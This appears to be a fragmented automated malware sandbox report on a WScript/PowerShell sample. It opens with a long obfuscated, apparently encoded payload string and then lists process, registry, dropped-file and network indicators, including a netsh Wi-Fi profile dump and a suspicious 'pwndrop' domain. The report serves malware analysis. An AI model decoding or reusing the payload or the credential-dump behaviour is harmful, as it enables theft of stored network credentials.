丒他仺乜亮予久亅乏乲仏他义仄乛乳乺仱丁书仐乍乆乬乚亊丢丞丮乩丂丯仟乻争乑仈丬亼介亚丩乕份亮乌丠两丮丆业乸丄乊仪乞仺亐仕从亣亦丁乓专仞乽产仮乆乎仾仅乬亍亭仗亞亍亏亞与仐九东乞丙亅仹乱乷乁亮丱丗亳丆予乯不亣仮仚乲丵仉丽丕乴乎丟仃乤乂乯严仂乧严亣仼丽仒丈从乁乒丧仕乧亽仢之介丯亘丟亘亜丌丽丮亂仱二仔乧乖乒以乘丒亟们丧乻什乨仕丛亝丽不乲乥人为义乪今仭仆了份乡乁乆一三亰丵三仁丸交丩乶丗丮乲丬乳云乨乵仨仆仲享东丑些丅仩丒乃仟乻争亟亷", HiktjGxlvMS="亓仒仭乇亻仗仧乀乴些仙乫丸乭乷云万亏丗书乡付任丛丧丝一亽亯东仒乽乂仵丏両仌事亻乫丬不丞丧仼们乤乑仓仵乖亂乁乓乺上乀下亦乢丟仸乭乓亖仲从丝仌仕乖仜乎仗也乡亘仃仏丈习仫亁乣亖一乴亢乘乖亇亴仍亼亩乐仨乶仆乚份交乿仇乗乷丷乞仝丣亥仔亦井亴丛仒乷丅丗亊乏仅並们人乕仵亊亝仓享之丙亩仿乷代一丗产丠仧且九乡仓丷乜亹他代从乥亀他乊举丗五亇乇三亳之亇乾丒亾丈亙乒亴件仝亖亖仉仳亗亴亹乑乾义亙乡丌亦仙代亽亰丗亟东乄东仈丼亵个仁任丑仟下亮乣乢乐丂仆井仙乏亵亩亃仨乭並亴乜丐们临丞从乧仫乼他一亞仸东丹九乯丝们仦付乳丽亮丮亨亠丌仝一乨丅且丅亹丑乴丵乵亽乪乶仜从互乄互丣丌丁乄乽万丫乂仴丧丙丝乧亅仕专仹井亰业乓乪仨丞仠仡也世丐丄亅丏仴予价亇串乆乪丣丵介並両亳京乶丝乙仏临价乑亻亼丬乌乥一书丵乖举乎仨仏乏亮丞乁仜严些亠乏份也乵仪丯亹乒亄二乫乡乊亽仉之亞乃亦乛乇乵主仄仫仛亞仍仏乾习乀亼仦仦乿井乘亚乌丷乱亀且乳乞什乏丁仫二丟亄仇仡也乄亖丅亅令亳亨丩仾九仐亞丰丮书乄亢丧义乽乞仁丣丢亯们交亨份乨乔丧仒乯业丸为乷丞乕仰久丘丒付乃丆仔丷仐乜乎仙亿也丄仗仨义仜介亵仡亽乔亷亱丁丱丙亹仩仐亳乾亂乍买仃严丕丟乕乳丌亀仁亏丰从亡丳乔亐仇乣仁乴九乳令仚亡丩于乥乙仺乖二乽亠両亣乏仧亩亙丠仿亻么亐丿亨乲乬井以亼串以三亖丨今仉乭东亃亿亝仐乧乐乱仫丕乬上亜亟五丒乹丢乤乙乍东仙与丑仺件乤亣井仄乌両价亠乙亽亦亗亓亨丗们乼乁亲乳仠丄丷乺亰仡人仏交付丶件乒仒丠亥丕价产丼任亐亟仓丅仮乷亱九亰任乐亹乺乔亗亄令些仡以亄件世交仂乼们亃乍件不仌些乱亄丩亨亍亹仮不仹也亝亴丹亠亿亍仃乿下仰丩书仪仑亄介亂什丈並亦丩仔乣亲仂乞乇丁乺乆仢以丬亽丑乵丵丨付乢予丐乏亂仕仮亷亞丝両予乊亵亾令仸临上丢亼丕丽丽丯丵仆丞五丱代于丆么仴丟亢乢乡乤仏仑交享亞亲丙丂仌亾仂亐乁代万串亝仳亝仜乽亝丆五亩仼亰亮也乫丒乁亖丗亩乄乳下亏人乯両乷乖主亟交丏仹仐仧上乻临为专亢亇亸亦亪仱仍乊东乪乗乡乿仞丹仏丮东九亻亐为仫亷互亟亖仱乽亾仈丐仄両仍亰亴七乎且乧不仫亘乀丟乢不亀亊亰七仂世乊亓亊丰丐丧下亯丅丆仛亁丫亨举仈们乊仈丏丗享仁久乴乃东乑仭仝仑九亸乮上仧京仌乹丶丹乕亩亴亣严乶丒丄乆亍乯丂仪仢仈亣仢临介乕丒主亿丑临七仩亀丒仳仉从仢亃亡亱亥之亸亩他亥乱亗両亸仴丰乁专仌丫亗亟丰亹也乢份下乆丳亡乜乸亱买亜亡仰人九乹亪习不亙丩乥乃丈亻乔丰亲三仱乜亯仁仲严亸仃亨乹京价亨仠丵业乞乼丬交习亨亚仳亚丨为业丹仩丙仸互仒仞三互么亣丐以两丁乿仡亾仳亚仲亝乧书亖亻乭亩仂争乵亣乖世乫习丆份仾並乡乀仼乻"" Process "powershell.exe" (UID: 00000000-00004040) was launched with modified environment variables: "ProgramFiles, NUMBER_OF_PROCESSORS, PROCESSOR_ARCHITECTURE, CommonProgramFiles" Process "powershell.exe" (UID: 00000000-00004040) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "regasm.exe" (UID: 00000000-00001224) was launched with new environment variables: "PSExecutionPolicyPreference="Bypass"" Process "netsh.exe" (UID: 00000000-00004156) was launched with new environment variables: "FPS_BROWSER_USER_PROFILE_STRING="Default", FPS_BROWSER_APP_PROFILE_STRING="Internet Explorer""40:T4da,"WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "WScript.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409") "netsh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "netsh.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\LOCALE"; Key: "00000409")41:Tf93,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00004012-00000C2B-1338996962] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00004012-00000C2B-1339332445] Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00004012-00000C2B-1340228376] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004040-00000C2E-1086579882] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004040-00000C2B-1342001855] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004040-00000C2B-1342151009] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004040-00000C2B-1342277831] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00004040-00000C2B-1342420045] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004040-00000C2B-1342482222] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004040-00000C2B-1342564462] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00004040-00000C2B-1342636875] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00004040-00000C2B-1342747885] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00004040-00000C2B-1342789632] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00004040-00000C2B-1342868429] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00004040-00000C2B-1343177571] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00004040-00000C2B-1343308507] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004040-00000C2B-1343535196] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004040-00000C2B-1343540883] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004040-00000C2B-1343929160] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004040-00000C2B-1343990913] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00004040-00000C2B-1344079532] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00004040-00000C2B-1344134101] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00004040-00000C2B-1344213972] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00004040-00000C2B-1344552304] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00004040-00000C2B-1344936045]42:T65c,"WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA\FIPSALGORITHMPOLICY"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\LSA"; Key: ""; Value: "") "WScript.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\POLICIES\MICROSOFT\CRYPTOGRAPHY\CONFIGURATION"; Key: ""; Value: "")43:Tedb,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEFILTER"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DISABLEHEAPLOOKASIDE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "FRONTENDHEAPDEBUGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SHUTDOWNFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "UNLOADEVENTTRACEDEPTH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXLOADERTHREADS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "USEIMPERSONATEDDEVICEMAP"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACINGFLAGS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CFGOPTIONS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MINIMUMSTACKCOMMITINBYTES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "BREAKONINITIALIZEPROCESSFAILURE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "KEEPACTIVATIONCONTEXTSALIVE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "TRACKACTIVATIONCONTEXTRELEASES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "MAXDEADACTIVATIONCONTEXTS"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "GLOBALFLAG"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "CWDILLEGALINDLLSEARCH"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "DEBUGPROCESSHEAPONLY"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\WSCRIPT.EXE"; Key: "SEARCHPATHMODE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "")44:Tafe,"WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SLC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\SLC.dll" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\Platform\4.12.17007.18022-0\SPPC.DLL" "WScript.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows Defender\platform\4.12.17007.18022-0\sppc.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\ATL.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\FLTLIB.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\CRYPTSP.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\CLR.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\VCRUNTIME140_CLR0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\UCRTBASE_CLR0400.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSCOREE.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\OLE32.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\OLEAUT32.DLL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\BCRYPT.DLL" "powershell.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\bcrypt.dll"45:Ta33,"WScript.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:ZONE.IDENTIFIER" "WScript.exe" trying to access non-existent file "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe:Zone.Identifier" "powershell.exe" trying to access non-existent file "C:\Windows\System32\MSCOREE.DLL.LOCAL" "powershell.exe" trying to access non-existent file "C:\WINDOWS\SYSTEM32\mscoree.dll.local" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\FUSION.LOCALGAC" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\fusion.localgac" "powershell.exe" trying to access non-existent file "C:\Windows\assembly\GAC\PUBLISHERPOLICY.TME" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.DATA.DLL.CONFIG" "powershell.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\SYSTEM.TRANSACTIONS.DLL.CONFIG" "powershell.exe" trying to access non-existent file "Z:\" "powershell.exe" trying to access non-existent file "C:\Windows\System32\AppLocker\MDM" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psd1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.PSM1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.psm1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.CDXML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.cdxml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\MODULES.XAML" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Modules.xaml" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\MICROSOFT.POWERSHELL.OPERATION.VALIDATION.PSD1" "powershell.exe" trying to access non-existent file "C:\Program Files\WindowsPowerShell\Modules\Microsoft.PowerShell.Operation.Validation\Microsoft.PowerShell.Operation.Validation.psd1"46:T52f,"powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_u3rhx0qy.y32.ps1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\temp\__psscriptpolicytest_xmewtbhb.ifa.psm1" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\spermshackbeginnersdinosaursaustraliansoccasions\dominicansymptominsectsdeclare.vbs" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\spermshackbeginnersdinosaursaustraliansoccasions\dominicansymptominsectsdeclare.vbs:zone.identifier" "powershell.exe" writes file "c:\users\%osuser%\appdata\local\microsoft\windows\powershell\startupprofiledata-noninteractive" "powershell.exe" writes file "%temp%\__psscriptpolicytest_u3rhx0qy.y32.ps1" "powershell.exe" writes file "%temp%\__psscriptpolicytest_xmewtbhb.ifa.psm1" "powershell.exe" writes file "%localappdata%\spermshackbeginnersdinosaursaustraliansoccasions\dominicansymptominsectsdeclare.vbs:zone.identifier" "powershell.exe" writes file "%localappdata%\spermshackbeginnersdinosaursaustraliansoccasions\dominicansymptominsectsdeclare.vbs" "powershell.exe" writes file "%localappdata%\microsoft\windows\powershell\startupprofiledata-noninteractive" "cmd.exe" writes file "%temp%\wifi_profiles.tmp" "netsh.exe" writes file "c:\users\%osuser%\appdata\local\temp\wifi_profiles.tmp"47:T1713,Pattern match: "nn.ninn/nn{nnqnn,nnnn" Pattern match: "nnbnnnnnnwnnnn-n6nnnnnnnnnznnnnnnnnsnntnlnnzn.nnnn/nnnn:ninn[nnennfnnnnnnn|nnn" Pattern match: "nnnn.nnn/nn" Pattern match: "nrnpn7nnntn6n.nnnn/nnnnnnnvnnnn~ngnnnnynonnnnjnnnhn" Heuristic match: "ip-api.com" Heuristic match: "pwndrop.setupwizarddesk.top" Pattern match: "www.larmenty.com" Heuristic match: "%windir%\system32\chcp.com" Pattern match: "http://www.validationtest.contoso.com/test%d.html" Pattern match: "http://schemas.microsoft.com/smi/2016/windowssettings" Pattern match: "www.digicert.com1+0" Pattern match: "www.digicert.com1/0-" Pattern match: "http://ocsp.digicert.com0k" Pattern match: "http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "https://www.digicert.com/cps0" Pattern match: "0www.entrust.net/cps" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "http://crl.globalsign.net/root.crl0=" Pattern match: "http://ocsp.globalsign.com/rootr10" Pattern match: "http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Heuristic match: "ement.au" Pattern match: "http://www.microsoft.com/windows" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt0" Pattern match: "www.microsoft.com/pki/docs/cps/default.htm0@" Pattern match: "crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0" Pattern match: "microsoft.net/framework64/v4.0.30319/" Heuristic match: "microsoft-windows-client-features-package00112~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "1.0.microsoft.office.in" Heuristic match: "2.0.microsoft.office.in" Pattern match: "www.entrust.net/legal-terms1907" Pattern match: "http://crl.comodoca.com/comodorsacertificationauthority.crl0q" Pattern match: "http://crt.comodoca.com/comodorsaaddtrustca.crt0$" Pattern match: "http://ocsp.comodoca.com0" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "www.digicert.com1$0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "https://www.alphassl.com/repository/03" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "http://ocsp.thawte.com0" Pattern match: "https://www.thawte.com/cps07" Pattern match: "http://crl.thawte.com/thawtepca-g3.crl0" Pattern match: "www.digicert.com1" Pattern match: "http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=" Pattern match: "http://s2.symcb.com0" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa00" Pattern match: "http://s1.symcb.com/pca3-g5.crl0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "www.verisign.com/cps" Pattern match: "https://www.verisign.com/cps04" Pattern match: "http://crl.verisign.com/pca3.crl0" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Heuristic match: "\system32\catroot\{f750e6c3-38ee-11d1-85e5-00c04fc295ee}\microsoft-windows-client-features-wow64-package0017~31bf3856ad364e35~amd64~~10.0.16299.15.cat" Heuristic match: "ntrust.net" Heuristic match: "ystem.management.automation.re" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "www.digicert.com1!0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" 